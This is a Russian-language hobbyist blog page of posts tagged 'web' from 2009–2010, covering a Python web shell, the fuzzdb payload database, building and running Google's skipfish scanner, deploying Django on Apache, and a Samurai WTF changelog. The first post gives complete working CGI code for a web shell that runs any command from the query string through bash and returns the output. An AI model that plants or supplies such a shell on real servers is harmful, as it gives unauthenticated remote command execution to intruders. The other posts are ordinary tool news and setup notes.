Showing posts with label web. Show all posts
Showing posts with label web. Show all posts

2010/07/19

Простейший веб шелл на питоне

 #!/usr/local/bin/python
import cgitb, os, urllib, subprocess

cgitb.enable()
str_command = urllib.unquote(os.environ['QUERY_STRING'])

p = subprocess.Popen(['/usr/local/bin/bash', '-c', str_command],\
    stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
output = urllib.unquote(p.stdout.read())

print """Content-Type: text/html\n
<html><body>
<pre>
$ %s
%s
</pre>
</body></html>""" % (str_command, output)

2010/04/29

fuzzdb

Интересная разработка, включающая в себя шаблоны атак (как кстати по-русски слово payload устоялось-таки?), имен файлов, логинов, паролей и сообщений об ошибках, возникающих при той или иной атаке. Весьма впечатляющий объем данных там уже есть и постоянно пополняется, как я вижу.

Можно использовать с уже имеющимися фаззерами, при написании собственных или просто освежить в памяти при ручном тестировании. :)

fuzzdb

2010/03/23

skipfish - сканер безопасности web-приложений от Google

На днях компания Google представила свой open source инструмент для аудита безопасности web-приложений, наподобие широко известного nikto. Однако разработчик заявляет ряд преимуществ перед имеющимися решениями, среди них:
  • высокая скорость работы (~500 запросов в секунду через Интернет, ~2000 - через локальную сеть)
  • простота использования
  • хорошо продуманные тест-кейсы (весь список проверяемых уязвимостей доступен в README к программе) 
Иструмент доступен для скачивания в исходных кодах отсюда. Для компиляции мне пришлось доустановить заголовочные файлы для ssl. Далее распаковываем и компилируем.
# apt-get install libssl-dev
$ tar -xzfp skipfish-1.13b.tgz
$ cd skipfish/
$ make
В случае успеха в папке появится исполняемый файл skipfish, собственно то, что нам нужно. В папке dictionaries находятся словари, которые могут использоваться при составлении карты сайта. Словари включают в себя расширения и ключевые слова. Чем больше словарь, тем более глубокий фаззинг сайта будет проведен. Словарь по умолчанию должен называться skipfish.wl и находиться в одной папке с исполняемым файлом: нужно перенести и переименовать нужный словарь из соотвествующей папки.


Итак, приступим же наконец к сканированию! Типичная команда сканирования выглядит следующим образом:
$ ./skipfish -MEU -o ./example http://www.example.com/
Здесь "-MEU" - опции для создания отчета, чтобы всё было хорошо, "./example" - имя папки в которую будет писаться отчет, а "http://www.example.com/", как несложно догадаться, адрес сайта.

Поддержка cookie, HTTP аутентификации и прочих плюшек имеется в полном объеме. Все настройки можно глянуть по команде:
$ ./skipfish -h
Доставила динамическая консольная статистика и детализированный отчет, поражающий мозг обыденного пользователя nikto. По количеству найденных уязвимостей, на первый взгляд (на основе сканирования одного сайта), оставляет позади nikto последней версии. Респект и уважуха в общем.

2009/09/16

Радости разработки на Django

Недавно заинтересовался разработкой веб-приложений на Python, соотвественно, решил воспользоваться фреймворком Django. В этой заметке хочу описать процесс создания и запуска проекта Django на Apache, ибо запуск приложений на сервере хостера заметно отличается от запуска их на локальном компьютере (что описывается в первых главах DjangoBook), как оказалось.

На моём хостинге уже был установлен Django и соотвествующим образом настроен Apache, поэтому первое, что нужно сделать - это создать проект. В моем случае последовала команда:
~/www/webapp$ django-admin.py startproject mysite
После этого в папке mysite создался проект django, включающий в себя несколько файлов (подробное описание их опускаю, можно найти в DjangoBook).
Далее согласно мануалу нужно создать WSGI-приложение webapp.wsgi следующего содержания:
import os, sys
sys.path.append('/home/www/webapp)
os.environ['DJANGO_SETTINGS_MODULE'] = 'mysite.settings'

import django.core.handlers.wsgi

application = django.core.handlers.wsgi.WSGIHandler()
В итоге получаем приветственную страницу Django по ссылке http://сайт/webapp
Чтобы получать доступ к Django из корня сайта, нужно написать rewrite правило в файле .htaccess, который должен располагаться в папочке public_html:
RewriteEngine On
RewriteRule ^(.*)$ /webapp/$1 [L,QSA]
Теперь привественная страничка доступна по нормальной ссылке, далее можно продолжать разработку согласно DjangoBook.

2009/07/31

Samurai WTF

Вышла следующая девелоп версия Samurai WTF - платформы для аудита веб-приложений.
Ченджлог:
Installed Cewl from dijininja.org -- Kevin Johnson
Updated Ubunutu patches as of July 23, 2009 -- Frank DiMaggio
Updated w3af from SVN as of July 25, 2009 -- Kevin Johnson
Fixed sqlninja.sh -- Frank DiMaggio
Fixed sqlmap.sh to include the -h -- Kevin Johnson for Tim Medin
Updated sqlmap to 0.7 -- Frank DiMaggio and Kevin Johnson
Updated Firefox add-on Hackbar -- Kevin Johnson
Updated Firefox add-on XSS Me -- Kevin Johnson
Updated Firefox add-on Header Spy -- Kevin Johnson
Updated Firefox add-on User Agent Switcher -- Kevin Johnson
Updated jBroFuzz to 1.4 -- Kevin Johnson
Upgrade nmap to 5.0 -- Kevin Johnson
Installed Durzosploit from SVN as of July 18, 2009 -- Kevin Johnson
Installed BrowserRider from SVN as of July 18, 2009 -- Frank DiMaggio
Added Jason Wood's username generator scripts -- Kevin Johnson
Updated MaltegoCE to 2.02 -- Frank DiMaggio
Added Laudanum Files -- Kevin Johnson
Added GPScan.rb from dijininja.org -- Kevin Johnson
Added HowTo videos from Pauldotcom -- Kevin Johnson
Картинка: